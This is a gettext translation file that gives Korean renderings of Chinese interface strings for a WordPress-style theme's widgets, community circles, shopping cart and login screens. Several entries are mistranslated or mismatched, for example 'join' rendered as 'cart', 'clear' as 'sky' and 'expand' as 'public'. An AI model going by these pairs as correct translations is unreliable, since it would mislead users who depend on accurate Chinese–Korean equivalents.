"코드를 스캔하고 \"공식 계정 팔로우\"를 통해 안전하고 빠르게 로그인하십시오."

#: Modules/Templates/VueTemplates.php:897 User/settings.php:103
msgid "手机号码"
msgstr "휴대폰"

#: Modules/Templates/VueTemplates.php:897
msgid "手机号码或邮箱"
msgstr "휴대폰 또는 이메일"

#: Modules/Templates/VueTemplates.php:897 User/settings.php:5
msgid "登录用户名"
msgstr "아이디"

#: Modules/Templates/VueTemplates.php:906
#, php-format
msgid "为了确保您的账户安全%s请您设置一个%s和密码"
msgstr "계정  %s의 보안을 유지하려면  %s 및 암호를 설정하십시오."

#: Modules/Templates/VueTemplates.php:909
msgid "设置成功"
msgstr "성공적으로 설정"

#: Modules/Templates/VueTemplates.php:910
#, php-format
msgid "现在，您也可以通过下面的账户来登录%s"
msgstr "이제 아래 계정을 통해  %s에 로그인 할 수도 있습니다."

#: Modules/Templates/VueTemplates.php:911
msgid "祝您使用愉快"
msgstr "나는 당신에게 행복한 사용을 기원합니다"

#: Modules/Templates/VueTemplates.php:918
msgid "请填写您的手机号码"
msgstr "입력하신 내용은 휴대폰 번호가 아닙니다."

#: Modules/Templates/VueTemplates.php:919
msgid "请填写您的邮箱"
msgstr "정확한 이메일 주소를 입력하세요."

#: Modules/Templates/VueTemplates.php:920
msgid "请填写您的手机号码或邮箱"
msgstr "휴대폰 또는 이메일"

#: Modules/Templates/VueTemplates.php:921
msgid "请填写您的的登录用户名"
msgstr "아이디"

#: Modules/Templates/Widgets/About.php:27
msgid "B2-关于我们"
msgstr "B2- 회사 소개"

#: Modules/Templates/Widgets/About.php:31
msgid "“关于我们”小工具"
msgstr "\"회사 소개\"가젯"

#: Modules/Templates/Widgets/About.php:37
msgid "关于我们"
msgstr "우리에 대해"

#: Modules/Templates/Widgets/About.php:53
msgid "LOGO"
msgstr "심벌 마크"

#: Modules/Templates/Widgets/About.php:54
msgid "如果未设置，此处将显示您设置的浅色LOGO"
msgstr "설정하지 않으면 설정 한 밝은 색상의 로고가 여기에 표시됩니다."

#: Modules/Templates/Widgets/About.php:59
msgid "选择LOGO图片"
msgstr "로고 이미지 선택"

#: Modules/Templates/Widgets/About.php:75
#: Modules/Templates/Widgets/CircleInfo.php:56
msgid "简介文字"
msgstr "소개 텍스트"

#: Modules/Templates/Widgets/About.php:81
msgid "点击进入的页面"
msgstr "페이지를 입력하려면 클릭"

#: Modules/Templates/Widgets/About.php:84
msgid "请直接复制“关于我们”页面的连接到此处"
msgstr "\"회사 소개\"페이지의 링크를 여기로 직접 복사하십시오."

#: Modules/Templates/Widgets/About.php:88 Modules/Templates/Widgets/Ask.php:72
#: Modules/Templates/Widgets/Author.php:59
#: Modules/Templates/Widgets/Bookmark.php:102
#: Modules/Templates/Widgets/CircleInfo.php:62
#: Modules/Templates/Widgets/Comment.php:65
#: Modules/Templates/Widgets/Coupon.php:60
#: Modules/Templates/Widgets/CreditTop.php:65
#: Modules/Templates/Widgets/Download.php:44
#: Modules/Templates/Widgets/HotCircle.php:58
#: Modules/Templates/Widgets/HotInfomation.php:88
#: Modules/Templates/Widgets/Html.php:58 Modules/Templates/Widgets/Links.php:67
#: Modules/Templates/Widgets/Mission.php:50
#: Modules/Templates/Widgets/Newsflashes.php:83
#: Modules/Templates/Widgets/Post.php:116
#: Modules/Templates/Widgets/Products.php:96
#: Modules/Templates/Widgets/RecommendedCircle.php:59
#: Modules/Templates/Widgets/Team.php:58
#: Modules/Templates/Widgets/Tocbot.php:50
#: Modules/Templates/Widgets/User.php:50
msgid "移动端是否显示"
msgstr "모바일 단말기 표시 여부"

#: Modules/Templates/Widgets/Ask.php:27
msgid "B2-问答小工具"
msgstr "B2-퀴즈 위젯"

#: Modules/Templates/Widgets/Ask.php:31 Modules/Templates/Widgets/Ask.php:56
msgid ""
"问答首页会显示全部问答，问答板块中会显示当前问答的内容，问答内页会显示相关问"
"答"
msgstr ""
"Q&A 홈 페이지에는 모든 Q&A가 표시되고, Q&A 섹션에는 현재 Q&A의 내용이 표시되"
"며, Q&A 내부 페이지에는 관련 Q&A가 표시됩니다."

#: Modules/Templates/Widgets/Ask.php:59
#: Modules/Templates/Widgets/HotInfomation.php:75
#: Modules/Templates/Widgets/Post.php:92
msgid "时间范围"
msgstr "시간 제한"

#: Modules/Templates/Widgets/Ask.php:63
#: Modules/Templates/Widgets/HotInfomation.php:79
#: Modules/Templates/Widgets/Post.php:96
msgid "限制显示多少天内的文章，如果没有时间限制，请填写0"
msgstr ""
"일수 이내의 기사 표시를 제한하고, 시간 제한이없는 경우 0을 입력하십시오."

#: Modules/Templates/Widgets/Ask.php:66
#: Modules/Templates/Widgets/HotCircle.php:52
#: Modules/Templates/Widgets/HotInfomation.php:82
#: Modules/Templates/Widgets/Newsflashes.php:77
#: Modules/Templates/Widgets/Post.php:99
#: Modules/Templates/Widgets/Products.php:90
msgid "显示数量"
msgstr "수량 표시"

#: Modules/Templates/Widgets/Ask.php:191
#: Modules/Templates/Widgets/HotCircle.php:206
#: Modules/Templates/Widgets/Newsflashes.php:71 archive-ask.php:45
msgid "热门"
msgstr "인기"

#: Modules/Templates/Widgets/Ask.php:193 archive-ask.php:51
msgid "等待回答"
msgstr "답변 대기 중"

#: Modules/Templates/Widgets/Ask.php:199
msgid "没有内容"
msgstr "콘텐츠 없음"

#: Modules/Templates/Widgets/Ask.php:206
#, fuzzy
#| msgid "提交回答"
msgid "个回答"
msgstr "이 레벨을 삭제 하시겠습니까?"

#: Modules/Templates/Widgets/Author.php:30
msgid "B2-作者面板"
msgstr "B2- 저자 패널"

#: Modules/Templates/Widgets/Author.php:34
msgid "“作者面板”小工具（只在内页生效）"
msgstr "\"작성자 패널\"위젯 (내부 페이지에서만 사용 가능)"

#: Modules/Templates/Widgets/Author.php:40
msgid "关于作者"
msgstr "저자 정보"

#: Modules/Templates/Widgets/Author.php:53
msgid "显示TA的多少篇最新文章"
msgstr "문서 홈페이지에 표시되는 새 문서 수"

#: Modules/Templates/Widgets/Author.php:231
msgid "Ta的全部动态"
msgstr "모든 Ta의 활동"

#: Modules/Templates/Widgets/Bookmark.php:29
msgid "B2-导航连接"
msgstr "B2 - 탐색 연결"

#: Modules/Templates/Widgets/Bookmark.php:33
msgid "“导航连接”小工具"
msgstr "\"그룹 연결\"가젯"

#: Modules/Templates/Widgets/Bookmark.php:39
msgid "热门推荐"
msgstr "인기 추천"

#: Modules/Templates/Widgets/Bookmark.php:57
msgid "要显示的链接分类"
msgstr "표시 할 제품 유형"

#: Modules/Templates/Widgets/Bookmark.php:61
#, php-format
msgid ""
"请直接填写导航链接的分类ID，ID可以前往查看：%s链接分类%s。如果要显示当前链接"
"对应的分类中的链接，请留空"
msgstr ""
"탐색 링크의 카테고리 ID를 직접 입력하세요. ID는 %s링크 카테고리%s에서 확인할 "
"수 있습니다. 현재 링크에 해당하는 카테고리의 링크를 표시하려면 비워 둡니다."

#: Modules/Templates/Widgets/CircleInfo.php:28
#, php-format
msgid "B2-%s信息"
msgstr "B2-%s 정보"

#: Modules/Templates/Widgets/CircleInfo.php:32
#, fuzzy, php-format
msgid "“%s信息”小工具"
msgstr "\"서클 정보\"가젯"

#: Modules/Templates/Widgets/CircleInfo.php:43
#, fuzzy, php-format
msgid "创建自己的%s"
msgstr "나만의 서클 만들기"

#: Modules/Templates/Widgets/CircleInfo.php:166 Sidebars/sidebar.php:225
#: footer.php:159 functions.php:1903 functions.php:2318
#, php-format
msgid "创建%s"
msgstr "%s 만들기"

#: Modules/Templates/Widgets/Comment.php:27
msgid "B2-最新评论"
msgstr "B2- 최신 댓글"

#: Modules/Templates/Widgets/Comment.php:31
msgid "“最新评论”小工具"
msgstr "\"최신 댓글\"가젯"

#: Modules/Templates/Widgets/Comment.php:37
msgid "最新评论"
msgstr "최신 댓글"

#: Modules/Templates/Widgets/Comment.php:52
msgid "一页显示几条评论"
msgstr "한 페이지에 여러 댓글 표시"

#: Modules/Templates/Widgets/Comment.php:58
msgid "要隐藏的用户ID"
msgstr "숨길 사용자 ID"

#: Modules/Templates/Widgets/Comment.php:62
msgid "请直接填写用户ID，一般为管理员"
msgstr "사용자 ID (일반적으로 관리자)를 직접 입력하십시오."

#: Modules/Templates/Widgets/Comment.php:202
#, php-format
msgid "%s来自："
msgstr "%s From："

#: Modules/Templates/Widgets/Coupon.php:29
msgid "B2-优惠劵小工具"
msgstr "B2- 쿠폰 위젯"

#: Modules/Templates/Widgets/Coupon.php:33
msgid "“优惠劵”小工具"
msgstr "\"쿠폰\"위젯"

#: Modules/Templates/Widgets/Coupon.php:57
msgid "请直接输入优惠劵的ID，每个ID占一行"
msgstr ""
"쿠폰 아이디를 직접 입력 해주시기 바랍니다. 각 아이디는 한 줄을 차지합니다."

#: Modules/Templates/Widgets/CreditTop.php:27
msgid "B2-积分排行小工具"
msgstr "B2 점 순위 위젯"

#: Modules/Templates/Widgets/CreditTop.php:31
msgid "“积分排行小工具”小工具"
msgstr "\"포인트 랭킹 위젯\"위젯"

#: Modules/Templates/Widgets/CreditTop.php:37
#: Modules/Templates/Widgets/CreditTop.php:206
msgid "积分排行"
msgstr "포인트 랭킹"

#: Modules/Templates/Widgets/CreditTop.php:52
msgid "显示多少人"
msgstr "얼마나 많은 사람들을 보여"

#: Modules/Templates/Widgets/CreditTop.php:58
msgid "排除哪些人"
msgstr "제외 할 사람"

#: Modules/Templates/Widgets/CreditTop.php:62
msgid "填写要排除的用户ID，用英文的逗号 , 隔开"
msgstr "제외 할 사용자 ID를 영문 쉼표로 구분하여 입력하십시오."

#: Modules/Templates/Widgets/Download.php:27
msgid "B2-文章内页下载小工具"
msgstr "페이지 위젯 내부 기사"

#: Modules/Templates/Widgets/Download.php:31
msgid "“文章内页下载”小工具"
msgstr "페이지 위젯 내부 기사"

#: Modules/Templates/Widgets/Download.php:43
msgid "文章内页有下载时才显示"
msgstr "기사 내부 페이지에 다운로드가있을 때만 표시"

#: Modules/Templates/Widgets/Download.php:170
msgid "您的下载权限"
msgstr "다운로드 권한"

#: Modules/Templates/Widgets/Download.php:170
msgid "查看全部权限"
msgstr "전체보기"

#: Modules/Templates/Widgets/Download.php:179
#: Modules/Templates/Widgets/Download.php:203
msgid "今天剩余0次下载"
msgstr "오늘 남은 다운로드 0개"

#: Modules/Templates/Widgets/Download.php:180
#: Modules/Templates/Widgets/Download.php:196
msgid "评论后下载"
msgstr "댓글 후 다운로드"

#: Modules/Templates/Widgets/Download.php:190
msgid "登录后下载："
msgstr "로그인 후 다운로드"

#: Modules/Templates/Widgets/Download.php:193
msgid "小黑屋反思中！"
msgstr "작은 검은 방을 반영한 다운로드는 허용되지 않습니다!"

#: Modules/Templates/Widgets/Download.php:219
#, php-format
msgid "今日还有%s次免费下载"
msgstr "오늘 %s 무료 다운로드가 있습니다."

#: Modules/Templates/Widgets/History.php:27
msgid "B2-浏览历史"
msgstr "B2 - 검색 기록"

#: Modules/Templates/Widgets/History.php:31
#, fuzzy
msgid "“浏览历史”小工具"
msgstr "\"추천 서클\"가젯"

#: Modules/Templates/Widgets/History.php:37
msgid "浏览历史"
msgstr "기록 찾아보기"

#: Modules/Templates/Widgets/History.php:51
#, fuzzy
msgid "要显示的数量"
msgstr "표시 할 주제"

#: Modules/Templates/Widgets/History.php:52
msgid "要显示的浏览历史条数，最多30条"
msgstr "표시할 검색 기록 항목 수는 최대 30개입니다."

#: Modules/Templates/Widgets/History.php:161
msgid "暂无浏览历史"
msgstr "인터넷 사용 기록 없음"

#: Modules/Templates/Widgets/History.php:173
#, fuzzy
#| msgid "空"
msgid "清空"
msgstr "하늘"

#: Modules/Templates/Widgets/HotCircle.php:28
#, fuzzy, php-format
msgid "B2-热门%s"
msgstr "B2- 인기 서클"

#: Modules/Templates/Widgets/HotCircle.php:32
#, fuzzy, php-format
msgid "“热门%s”小工具"
msgstr "\"인기 서클\"가젯"

#: Modules/Templates/Widgets/HotCircle.php:38
#: Modules/Templates/Widgets/HotCircle.php:46
#: Modules/Templates/Widgets/HotCircle.php:221
#, php-format
msgid "热门%s"
msgstr "인기 있는 %s"

#: Modules/Templates/Widgets/HotCircle.php:196
#, php-format
msgid "个%s"
msgstr "%s"

#: Modules/Templates/Widgets/HotCircle.php:198
msgid "个话题"
msgstr "토픽"

#: Modules/Templates/Widgets/HotCircle.php:206
#, fuzzy, php-format
msgid "没有%s%s"
msgstr "%s 서클 없음"

#: Modules/Templates/Widgets/HotCircle.php:206
msgid "加入"
msgstr "장바구니"

#: Modules/Templates/Widgets/HotCircle.php:222
msgid "我加入的"
msgstr "난 가입 했어요"

#: Modules/Templates/Widgets/HotCircle.php:223
msgid "我创建的"
msgstr "내가 만들었다"

#: Modules/Templates/Widgets/HotInfomation.php:28
#, fuzzy, php-format
msgid "B2-%s聚合"
msgstr "주제별 집계 페이지"

#: Modules/Templates/Widgets/HotInfomation.php:32
#, fuzzy, php-format
msgid "显示热门%s，最新%s，评论最多%s等"
msgstr "인기 기사, 최신 기사, 댓글이 가장 많은 기사 등을 표시합니다."

#: Modules/Templates/Widgets/HotInfomation.php:38
#, fuzzy, php-format
msgid "%s聚合"
msgstr "주제별 집계 페이지"

#: Modules/Templates/Widgets/HotInfomation.php:56
#: Modules/Templates/Widgets/Post.php:73
#: Modules/Templates/Widgets/Products.php:83
msgid "分类ID"
msgstr "카테고리 ID"

#: Modules/Templates/Widgets/HotInfomation.php:57
#: Modules/Templates/Widgets/Post.php:74
#, fuzzy, php-format
msgid ""
"可以填写分类ID，%sID，标签ID等，多个请用竖线|隔开。ID之间是或者的关系，比如设"
"置ID为1的标签和ID为12的分类，写作%s，这里将会显示标签是1，或者分类是12的文"
"章。留空将显示全部。"
msgstr ""
"카테고리 ID, 토픽 ID, 라벨 ID 등을 입력 할 수 있으며 세로 막대 |로 구분하십시"
"오. ID 간의 관계는 또는입니다. 예를 들어 ID 1의 태그와  %s로 작성된 ID 12의 "
"카테고리를 설정하면 여기에 태그 1 또는 카테고리 12가있는 기사가 표시됩니다. "
"모두 표시하려면 비워 둡니다."

#: Modules/Templates/Widgets/HotInfomation.php:283
#: Modules/Templates/Widgets/Post.php:369
#: Modules/Templates/Widgets/Products.php:334
msgid "没有任何内容"
msgstr "아무것도"

#: Modules/Templates/Widgets/Html.php:27
msgid "B2-自定义HTML"
msgstr "B2- 사용자 정의 HTML"

#: Modules/Templates/Widgets/Html.php:31
msgid "“自定义HTML”小工具"
msgstr "\"사용자 정의 HTML\"가젯"

#: Modules/Templates/Widgets/Html.php:51
msgid "内容"
msgstr "함유량"

#: Modules/Templates/Widgets/Links.php:27
msgid "B2-连接组"
msgstr "B2 연결 그룹"

#: Modules/Templates/Widgets/Links.php:31
msgid "“连接组”小工具"
msgstr "\"그룹 연결\"가젯"

#: Modules/Templates/Widgets/Links.php:46
msgid "联系与合作"
msgstr "연락 및 협력"

#: Modules/Templates/Widgets/Links.php:60
msgid "连接组"
msgstr "연결 그룹"

#: Modules/Templates/Widgets/Links.php:63
#, php-format
msgid "请填写连接数据,格式为%s比如： %s（每组数据占一行）"
msgstr ""
"연결 데이터를 입력하십시오. 형식은 다음과 같은  %s입니다.  %s (각 데이터 그룹"
"이 한 줄을 차지함)"

#: Modules/Templates/Widgets/Mission.php:27
msgid "B2-签到"
msgstr "B2- 로그인"

#: Modules/Templates/Widgets/Mission.php:31
msgid "“签到小工具”小工具"
msgstr "\"로그인 가젯\"가젯"

#: Modules/Templates/Widgets/Mission.php:44
msgid "签到列表用户数量"
msgstr "로그인 목록의 사용자 수"

#: Modules/Templates/Widgets/Mission.php:180
#: Modules/Templates/Widgets/Mission.php:229 Pages/mission.php:16
msgid "签到排行"
msgstr "연속 출석 랭킹"

#: Modules/Templates/Widgets/Mission.php:227
msgid "没有签到数据"
msgstr "로그인 데이터 없음"

#: Modules/Templates/Widgets/Newsflashes.php:31
#, php-format
msgid "B2-%s小工具"
msgstr "B2-%s가제트"

#: Modules/Templates/Widgets/Newsflashes.php:35
#, fuzzy, php-format
msgid "一个页面最多只能有一个%s小工具！显示热门%s，最新%s，利好最多%s等"
msgstr ""
"페이지에는 최대 하나의 경고 위젯 만있을 수 있습니다! 핫 뉴스, 최신 뉴스, 가"
"장 긍정적 인 뉴스 등을 표시합니다."

#: Modules/Templates/Widgets/Newsflashes.php:58
#, fuzzy, php-format
msgid "%s标签ID"
msgstr "경고 태그 ID"

#: Modules/Templates/Widgets/Newsflashes.php:59
#, fuzzy, php-format
msgid ""
"可以填写%s标签ID，多个请用竖线|隔开。ID之间是或者的关系，比如设置ID为1的标签"
"和ID为12的分类，写作%s，这里将会显示标签是1，或者分类是12的文章。留空将显示全"
"部。"
msgstr ""
"경고 레이블 ID를 입력 할 수 있습니다. 여러 개는 세로 막대 |로 구분하십시오. "
"ID 간의 관계는 또는입니다. 예를 들어 ID 1의 태그와  %s로 작성된 ID 12의 카테"
"고리를 설정하면 여기에 태그 1 또는 카테고리 12가있는 기사가 표시됩니다. 모두 "
"표시하려면 비워 둡니다."

#: Modules/Templates/Widgets/Newsflashes.php:255
#: TempParts/Newsflashes/category.php:154 TempParts/stream/newsflashes.php:14
#: archive-newsflashes.php:155
msgid "作者："
msgstr "글쓴이"

#: Modules/Templates/Widgets/Post.php:27
msgid "B2-文章聚合"
msgstr "B2- 기사 집계"

#: Modules/Templates/Widgets/Post.php:31
msgid "显示热门文章，最新文章，评论最多文章等"
msgstr "인기 기사, 최신 기사, 댓글이 가장 많은 기사 등을 표시합니다."

#: Modules/Templates/Widgets/Post.php:37
msgid "文章聚合"
msgstr "기사 집계"

#: Modules/Templates/Widgets/Post.php:58
msgid "文章类型"
msgstr "기사 유형"

#: Modules/Templates/Widgets/Post.php:59
#: Modules/Templates/Widgets/Products.php:57
#: Modules/Templates/Widgets/Products.php:70
msgid "将会显示在前端，不设置请留空"
msgstr "프런트 엔드에 표시됩니다. 설정되지 않은 경우 비워 두십시오."

#: Modules/Templates/Widgets/Post.php:105
msgid "缩略图模式"
msgstr "썸네일 모드"

#: Modules/Templates/Widgets/Post.php:110
msgid "无图模式"
msgstr "사진 모드 없음"

#: Modules/Templates/Widgets/Post.php:111
msgid "小图模式"
msgstr "작은 사진 모드"

#: Modules/Templates/Widgets/Post.php:112
msgid "大图模式"
msgstr "큰 화면 모드"

#: Modules/Templates/Widgets/Products.php:28
msgid "B2-商品聚合"
msgstr "B2- 상품 집계"

#: Modules/Templates/Widgets/Products.php:32
msgid "显示热门商品，最新商品，购买动态等"
msgstr "인기 상품, 최신 상품, 구매 트렌드 등을 표시합니다."

#: Modules/Templates/Widgets/Products.php:38
msgid "商品聚合"
msgstr "상품 집계"

#: Modules/Templates/Widgets/Products.php:69
msgid "显示类型"
msgstr "디스플레이 유형"

#: Modules/Templates/Widgets/Products.php:75
msgid "热门商品"
msgstr "인기 상품"

#: Modules/Templates/Widgets/Products.php:76
msgid "最新商品"
msgstr "최신 제품"

#: Modules/Templates/Widgets/Products.php:77
msgid "随机商品"
msgstr "랜덤 아이템"

#: Modules/Templates/Widgets/Products.php:78
msgid "购买动态"
msgstr "구매 역학"

#: Modules/Templates/Widgets/Products.php:80
msgid "购买动态不受类型和分类的限制"
msgstr "구매 역학은 유형 및 분류에 의해 제한되지 않습니다."

#: Modules/Templates/Widgets/Products.php:84
#, php-format
msgid ""
"请填写商品分类ID，多个请用竖线|隔开。ID之间是或者的关系，比如设置ID为1的商品"
"分类和ID为12的商品分类，写作%s，这里将会显示商品分类是1，或者商品分类是12的商"
"品。留空将显示全部。"
msgstr ""
"제품 카테고리 ID를 입력하세요. 여러 개는 세로 막대 |로 구분하세요. ID 간의 관"
"계는 또는입니다. 예를 들어, 제품 카테고리를 ID 1로 설정하고 제품 카테고리를 "
"ID 12 ( %s로 표기)로 설정하면 제품 카테고리가 1이거나 제품 카테고리가 12 인 "
"제품이 여기에 표시됩니다. 모두 표시하려면 비워 둡니다."

#: Modules/Templates/Widgets/Products.php:221
#, php-format
msgid " 刚刚 %s 了"
msgstr "방금  %s"

#: Modules/Templates/Widgets/Products.php:228
msgid "没有购买动态"
msgstr "구매 활동 없음"

#: Modules/Templates/Widgets/RecommendedCircle.php:28
#, fuzzy, php-format
msgid "B2-推荐%s"
msgstr "B2- 추천 서클"

#: Modules/Templates/Widgets/RecommendedCircle.php:32
#, fuzzy, php-format
msgid "“推荐%s”小工具"
msgstr "\"추천 서클\"가젯"

#: Modules/Templates/Widgets/RecommendedCircle.php:38
#, php-format
msgid "推荐%s"
msgstr "%s 추천"

#: Modules/Templates/Widgets/RecommendedCircle.php:52
#, php-format
msgid "推荐%s的ID"
msgstr "%s의 권장 ID"

#: Modules/Templates/Widgets/RecommendedCircle.php:56
#, fuzzy, php-format
msgid ""
"请直接填写要显示的%sID，每个ID占一行，推荐只在%s页面使用以达到最好的显示效"
"果。"
msgstr ""
"표시 할 서클 ID를 직접 입력하세요. 각 ID는 한 줄을 차지하며, 최상의 디스플레"
"이 효과를 얻으려면 서클 페이지에서만 사용하는 것이 좋습니다."

#: Modules/Templates/Widgets/RecommendedCircle.php:177
#, fuzzy, php-format
msgid "请前往小工具中设置推荐%s"
msgstr "추천 서클을 설정하려면 가젯으로 이동하세요."

#: Modules/Templates/Widgets/Team.php:27
msgid "B2-我们的团队"
msgstr "B2- 우리 팀"

#: Modules/Templates/Widgets/Team.php:31
msgid "“我们的团队”小工具"
msgstr "\"우리 팀\"가젯"

#: Modules/Templates/Widgets/Team.php:37
msgid "我们的团队"
msgstr "우리 팀"

#: Modules/Templates/Widgets/Team.php:51
msgid "用户ID"
msgstr "사용자 ID"

#: Modules/Templates/Widgets/Team.php:54
msgid "请输入用户ID，并用英文逗号隔开"
msgstr "사용자 ID를 쉼표로 구분하여 입력하십시오."

#: Modules/Templates/Widgets/Tocbot.php:27
msgid "B2-文章内页自动导航"
msgstr "페이지 위젯 내부 기사"

#: Modules/Templates/Widgets/Tocbot.php:31
msgid "“文章内页自动导航”小工具"
msgstr "페이지 위젯 내부 기사"

#: Modules/Templates/Widgets/User.php:27
msgid "B2-用户面板"
msgstr "B2- 사용자 패널"

#: Modules/Templates/Widgets/User.php:31
msgid "“用户面板”小工具"
msgstr "\"사용자 패널\"위젯"

#: Modules/Templates/Widgets/User.php:37
msgid "所有的伟大，都源于一个勇敢的开始"
msgstr "모든 위대함은 용감한 출발에서 비롯됩니다"

#: Modules/Templates/Widgets/User.php:44
msgid "未登录状态时的提示语"
msgstr "로그인하지 않았을 때 확인"

#: Modules/Templates/Widgets/User.php:218
msgid "您已完成今天任务的"
msgstr "오늘 암무의 %s를 완성 했습니다."

#: Modules/Templates/Widgets/User.php:225
msgid "嗨！朋友"
msgstr "안녕하세요."

#: Modules/Templates/Widgets/User.php:246 functions.php:570 functions.php:735
#: functions.php:796 functions.php:869 functions.php:932 functions.php:1056
#: functions.php:1113 functions.php:1177 functions.php:1210
#, php-format
msgid "没有%s"
msgstr "%s 서클 없음"

#: Pages/all-circles.php:56
msgid "展开"
msgstr "공공의"

#: Pages/all-circles.php:57 TempParts/circle/circle-topic-content.php:215
#: single-ask.php:135
msgid "收起"
msgstr "치워"

#: Pages/all-circles.php:72
#, php-format
msgid "私密%s"
msgstr "비공개 %s"

#: Pages/all-circles.php:75
#, php-format
msgid "（%s）"
msgstr "%s 할인"

#: Pages/all-circles.php:78
#, php-format
msgid "%s个%s"
msgstr "%s개%s"

#: Pages/all-circles.php:80
#, php-format
msgid "%s个话题"
msgstr "%s 주제"

#: Pages/ask-people.php:33 Pages/circle-people.php:31
#: Pages/infomation-people.php:33
#, fuzzy, php-format
#| msgid "个人中心"
msgid "%s前往个人中心%s"
msgstr "내 페이지"

#: Pages/ask-people.php:37 Pages/circle-people.php:35
#: Pages/infomation-people.php:37 author.php:56
msgid "关注Ta"
msgstr "구독"

#: Pages/ask-people.php:44
msgid "我的提问"
msgstr "내 질문"

#: Pages/ask-people.php:45
#, fuzzy
#| msgid "我的回答："
msgid "我的回答"
msgstr "내 대답 :"

#: Pages/carts.php:14
msgid "我的购物车"
msgstr "나의 장바구니"

#: Pages/carts.php:16
msgid "结算"
msgstr "결제"

#: Pages/carts.php:18 Pages/carts.php:34 functions.php:1835
msgid "支付结果"
msgstr "결제 결과"

#: Pages/carts.php:21 Pages/carts.php:58
msgid "购买成功"
msgstr "성공적인 구매"

#: Pages/carts.php:22
#, php-format
msgid "%s请前往订单中心查看已购买订单%s"
msgstr "%s 구매 주문  %s를 보려면 주문 센터로 이동하십시오."

#: Pages/carts.php:23
#, php-format
msgid ""
"请前往您的邮箱 %s 查看购买信息，如果找不到，请检查一下是否进入了邮箱的垃圾箱"
"中。"
msgstr ""
"메일함 %s으로 이동하여 구매 정보를 확인하고, 찾을 수 없는 경우 메일함의 스팸 "
"폴더에 들어갔는지 확인해 주세요."

#: Pages/carts.php:29
msgid "名称"
msgstr "이름"

#: Pages/carts.php:31 User/orders.php:81
msgid "数量"
msgstr "수량"

#: Pages/carts.php:32 User/orders.php:85
msgid "总价"
msgstr "총 가격"

#: Pages/carts.php:64
msgid "全选"
msgstr "모두 선택"

#: Pages/carts.php:66
msgid "删除选中商品"
msgstr "선택한 제품 삭제"

#: Pages/carts.php:69
msgid "总价："
msgstr "총 가격"

#: Pages/carts.php:73
msgid "给卖家留言"
msgstr "판매자에게 보내는 메시지"

#: Pages/carts.php:77
msgid "实物收货地址（必填）："
msgstr "실제 배송 주소 (필수) :"

#: Pages/carts.php:81
msgid "编辑收货地址"
msgstr "배송지 주소 수정"

#: Pages/carts.php:87
msgid "请设置一个邮箱，用以接收购买后的虚拟物！"
msgstr "구매 후 가상 개체를 받으려면 이메일 주소를 설정하세요!"

#: Pages/carts.php:89
msgid "添加收货邮箱"
msgstr "수신 사서함 추가"

#: Pages/carts.php:119
msgid "合计："
msgstr "합계:"

#: Pages/cat-group.php:9
msgid "当前模块的Key未设置"
msgstr "현재 모듈의 키가 설정되지 않았습니다."

#: Pages/cat-group.php:50
msgid "这个分类没有描述"
msgstr "설명 없음"

#: Pages/cat-group.php:79
msgid "评论："
msgstr "댓글"

#: Pages/cat-group.php:80
msgid "时间："
msgstr "시간"

#: Pages/cat-group.php:88
msgid "该分类下没有文章"
msgstr "내용이 없습니다."

#: Pages/circle-topics.php:30
msgid "话题筛选"
msgstr "주제 심사"

#: Pages/circle-topics.php:33 TempParts/circle/circle-topic-list.php:98
msgid "最新话题"
msgstr "최신 주제"

#: Pages/circle-topics.php:34 TempParts/circle/circle-topic-list.php:100
msgid "最多点赞"
msgstr "가장 좋아하는"

#: Pages/circle-topics.php:35 TempParts/circle/circle-topic-list.php:101
msgid "最多讨论"
msgstr "가장 많이 논의"

#: Pages/circle-topics.php:46 TempParts/circle/circle-topic-list.php:112
msgid "公开话题"
msgstr "공개 주제"

#: Pages/circle-topics.php:50 TempParts/circle/circle-topic-list.php:116
msgid "积分阅读"
msgstr "적분 독서"

#: Pages/circle-topics.php:96
#, fuzzy, php-format
msgid "该%s下没有待审话题"
msgstr "이 서클에는 검토 할 주제가 없습니다."

#: Pages/circle-topics.php:107 TempParts/circle/circle-topic-list.php:203
msgid "我是有底线的！"
msgstr "나는 결론이있다!"

#: Pages/circle-users.php:44
msgid "审核"
msgstr "리뷰"

#: Pages/circle-users.php:45
msgid "踢出"
msgstr "내 보내"

#: Pages/circle-users.php:49
msgid "申请时间："
msgstr "신청 시간 :"

#: Pages/circle-users.php:49
msgid "加入时间："
msgstr "참여 시간 :"

#: Pages/create-circle.php:31
#, fuzzy, php-format
msgid "%s所属类别"
msgstr "원 카테고리"

#: Pages/create-circle.php:51
#, php-format
msgid "%s类型"
msgstr "%s 유형"

#: Pages/create-circle.php:59
msgid "对象：所有用户；时效：永久有效"
msgstr "대상 : 모든 사용자, 시간 제한 : 영구"

#: Pages/create-circle.php:60
#, fuzzy, php-format
msgid ""
"对象：所有用户；时效：根据购买时效而定，到期后需要续费，否则自动退出%s。用户"
"加入%s支付的费用由%s获得。"
msgstr ""
"대상 : 모든 사용자, 제한 : 구매 기한에 따라 만료 후 갱신해야하며, 그렇지 않으"
"면 자동으로 서클에서 탈퇴합니다. 서클에 들어가는 사용자가 지불하는 수수료는 "
"서클 소유자가받습니다."

#: Pages/create-circle.php:61
msgid "对象：特定用户组；时效：永久有效"
msgstr "대상 : 특정 사용자 그룹, 시간 제한 : 영구"

#: Pages/create-circle.php:66
#, php-format
msgid "加入%s规则"
msgstr "%s 규칙에 참여"

#: Pages/create-circle.php:72
#, fuzzy, php-format
msgid "用户需要%s审核加入%s"
msgstr "사용자는 서클을 검토해야합니다."

#: Pages/create-circle.php:80 Pages/create-circle.php:84
#: Pages/create-circle.php:88 Pages/create-circle.php:92
#: Pages/create-circle.php:96
msgid "请直接输入金额"
msgstr "금액을 직접 입력하세요"

#: Pages/create-circle.php:100
msgid "至少填写一个付费档，也可以填写多个付费档"
msgstr ""
"하나 이상의 결제 파일을 작성하고 여러 개의 결제 파일을 작성할 수도 있습니다."

#: Pages/create-circle.php:116
#, php-format
msgid "%s隐私"
msgstr "%s개인정보"

#: Pages/create-circle.php:123
#, fuzzy, php-format
msgid "即便用户没有加入%s，也可以查看%s内帖子，同时也会在广场显示"
msgstr ""
"사용자가 그룹에없는 경우에도 서클의 게시물을 볼 수 있으며 사각형에도 표시됩니"
"다."

#: Pages/create-circle.php:124
#, fuzzy, php-format
msgid "用户加入%s之后才能查看%s内帖子，不对外开放"
msgstr ""
"사용자는 그룹에 가입 한 후 서클의 게시물을 볼 수 있으며 공개되지 않습니다."

#: Pages/create-circle.php:129
#, php-format
msgid "%s资料"
msgstr "%s 정보"

#: Pages/create-circle.php:137 Pages/create-circle.php:148
msgid "上传中..."
msgstr "업로드 중 ..."

#: Pages/create-circle.php:144
msgid "圈子封面"
